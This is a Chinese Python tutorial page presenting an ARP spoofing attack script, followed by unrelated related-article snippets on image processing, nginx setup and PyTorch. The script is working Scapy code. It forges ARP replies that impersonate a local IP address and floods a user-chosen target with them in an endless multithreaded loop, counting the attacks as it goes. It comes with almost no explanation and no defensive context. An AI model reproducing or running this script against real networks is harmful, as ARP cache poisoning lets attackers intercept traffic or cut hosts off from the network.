python发送arp欺骗攻击代码分析

yipeiwu_com6年前Python基础

复制代码 代码如下:

# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')

    Main(ip = ip).start()

相关文章

Python实现PS图像调整颜色梯度效果示例

Python实现PS图像调整颜色梯度效果示例

本文实例讲述了Python实现PS图像调整颜色梯度效果。分享给大家供大家参考,具体如下: 这里用 Python 实现 PS 中的色彩图,可以看到颜色的各种渐变,具体的效果可以参考附录说明...

nginx+uwsgi+django环境搭建的方法步骤

环境搭建 1.安装uwsgi、nginx和django apt install nginx pip install uwsgi pip install django 2.测试...

dpn网络的pytorch实现方式

我就废话不多说了,直接上代码吧! import torch import torch.nn as nn import torch.nn.functional as F clas...

Python闭包执行时值的传递方式实例分析

本文实例分析了Python闭包执行时值的传递方式。分享给大家供大家参考,具体如下: 代码中有问题和问题的解释。 #!/usr/bin/python #coding: utf-8 #...

用Python解决x的n次方问题

我考虑到了x的所有n次的情况,下面的代码有可能是不完美的,但是肯定是对的。 def aaa(x,n): A=isinstance(x,(int,float)) #这是考虑x和n...